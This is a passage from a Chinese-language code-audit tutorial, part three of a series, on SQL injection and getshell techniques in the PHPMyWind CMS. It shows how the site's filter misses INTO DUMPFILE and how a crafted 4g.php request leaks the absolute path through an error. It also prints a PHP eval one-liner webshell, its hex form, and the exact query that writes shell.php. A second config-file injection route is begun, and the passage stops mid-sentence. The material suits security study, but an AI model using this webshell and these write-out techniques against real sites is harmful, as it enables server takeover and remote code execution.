PHPMyWind 注入+GetShell 代码审计( 三 )


PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
这里有一个安全性检测我们去看下,这个函数还是在这个文件被定义,在523行到结束,这里代码有点长,我就贴核心的一块吧 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
他过滤了一些常用的黑客函数
比如Union,sleep,benchmark,load_file,into outfile,但是他过滤还是有疏忽,他想到了过滤into outfile,但是没有过滤into dumpfile
所以只要我们使用into dumpfile就可以直接getshell写入一个webshell,但是写文件有个很大的问题就是需要知道他的绝对路径,那么绝对路径我们该怎么办呢?
 
我们可以看到4g.php这个文件,4g.php的第41行只要我们传参m=show
就会调用templates/default/mobile/show.php
PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
我们来看看这个文件的第24-49行 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
很明显这里24行是通过
SELECT * FROM `dede_infoclass` WHERE id = $cid AND checkinfo = ‘true’ ORDER BY orderid ASC
去获取$row
我们传参cid他就会去读取
pmw_infoclasee表里面的内容,然后当cid=4的时候,因为49行要输出$row[‘title’]但是获取的参数中没有这个数据,于是乎就抛出了报错 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
那么我们就获取了绝对路径,我这个的绝对路径是C:phpstudyWWW
 
所以我们只要访问http://192.168.32.141//4g.php?m=show&&cid=4,就可以获得绝对路径,然后后台导出吧,为了防止过滤问题,我把导出的一句话写成了16进制 。
 
一句话:<?php @eval($_REQUEST[a]);?>
16进制后:3c3f70687020406576616c28245f524551554553545b615d293b3f3e
 
于是乎导出语句就是:
select 0x3c3f70687020406576616c28245f524551554553545b615d293b3f3e into dumpfile ‘C:/phpstudy/WWW/shell.php’
 
直接访问后台页面,然后选择数据库的执行SQL语句就行
PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
点击执行就行了 。成功执行
PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
然后成功导出一句话木马,拿到了webshell
PHPMyWind 注入+GetShell 代码审计

文章插图
 

PHPMyWind 注入+GetShell 代码审计

文章插图
 

PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
八.Getshell 二(修改数据库内容)
查看后台的site_save.php文件 。我们看13行-56行这个分支代码,第56行有一个函数我们来看看是什么作用 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
 
这个函数在这个文件的第131行-163行定义 。
PHPMyWind 注入+GetShell 代码审计

文章插图
 
实际上就是读取数据库里面的dede_webconfig`表的数据,然后进行遍历,然后拼接进$str这个遍历,然后执行Writef这个函数 。
 
我先解释一下dede_webconfig`是什么表,实际上dede_ 是代替前缀的
当处理的时候就会按照我安装的时候设定的前缀进行替换,我使用的是默认设置pmw作为表前缀,那么这里读取pmw_webconfig的内容,里面有两个if语句,其实看这个$str的阵势都能看出来这里是要写入配置到config.cache.php 。
 
我们先来看这个函数里面的两个if,第一个if他的作用就是判断数据表里面的字段varname如果读出来是cfg_countcode的时候将那条数据的varvalue所对应的值删除反斜杠然后赋值给$row[‘varvalue’]
 
第二个if就是判断表的vartype字段查出来是不是number,如果不是的话执行
$str .= "${$row['varname']} = '".str_replace("'",'',$row['varvalue'])."';rn”$row[‘varname’] 这个值是我们表里面查到的字段varname的值
$row[‘varvalue’] 这个值是我们表里面查到的字段varvalue的值
 
然后str_repalce是替换单引号,怕我使用单引号来跳出这个赋值,然后进行Getshell
那么如果$row[‘varname’]=a


推荐阅读